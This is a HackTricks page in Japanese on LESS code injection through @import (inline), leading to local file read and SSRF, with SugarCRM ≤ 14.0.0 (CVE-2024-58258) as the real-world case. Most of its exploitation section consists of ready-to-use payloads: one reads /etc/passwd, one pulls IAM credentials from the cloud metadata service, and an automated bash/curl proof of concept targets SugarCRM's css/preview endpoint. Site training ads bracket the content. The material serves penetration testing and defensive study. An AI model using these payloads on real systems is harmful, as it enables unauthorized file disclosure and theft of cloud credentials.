LESS Code Injection leading to SSRF & Local File Read
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
LESSはvariables、mixins、functionsと強力な@importディレクティブを追加する人気のあるCSSプリプロセッサです。コンパイル時に、LESSエンジンは@importステートメントで参照されるリソースを取得し、(inline)オプションが使用されている場合はそれらの内容を結果のCSSに埋め込み(“inline”)ます。
アプリケーションが文字列にuser-controlled inputを連結し、その文字列が後でLESSコンパイラによって解析される場合、攻撃者はinject arbitrary LESS codeすることができます。@import (inline)を悪用することで、攻撃者はサーバに対して次を取得することを強制できます:
- ローカルファイルを
file://プロトコル経由で取得(information disclosure / Local File Inclusion)。 - 内部ネットワークやクラウドメタデータサービス上のリモートリソース(SSRF)。
この手法はSugarCRM ≤ 14.0.0(/rest/v10/css/preview endpoint)のような実製品で確認されています。
Exploitation
- LESSエンジンで処理されるstylesheet文字列に直接埋め込まれているパラメータを特定する(例:
?lm=in SugarCRM)。 - 現在のステートメントを閉じて新しいディレクティブを注入する。最も一般的なプリミティブは:
;– 前の宣言を終了する。}– 前のブロックを閉じる(必要な場合)。
- 任意のリソースを読み取るために
@import (inline) '<URL>';を使用する。 - 任意でインポート後にmarker(
data:URI)を挿入し、コンパイルされたCSSから取得したコンテンツを抽出しやすくする。
Local File Read
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
HTTPレスポンスには/etc/passwdの内容が@@END@@マーカーの直前に表示されます。
SSRF – クラウドメタデータ
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
自動化された PoC (SugarCRM の例)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
実際の事例
| 製品 | 脆弱なエンドポイント | 影響 |
|---|---|---|
| SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | 未認証の SSRF とローカルファイルの読み取り |
参考
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks

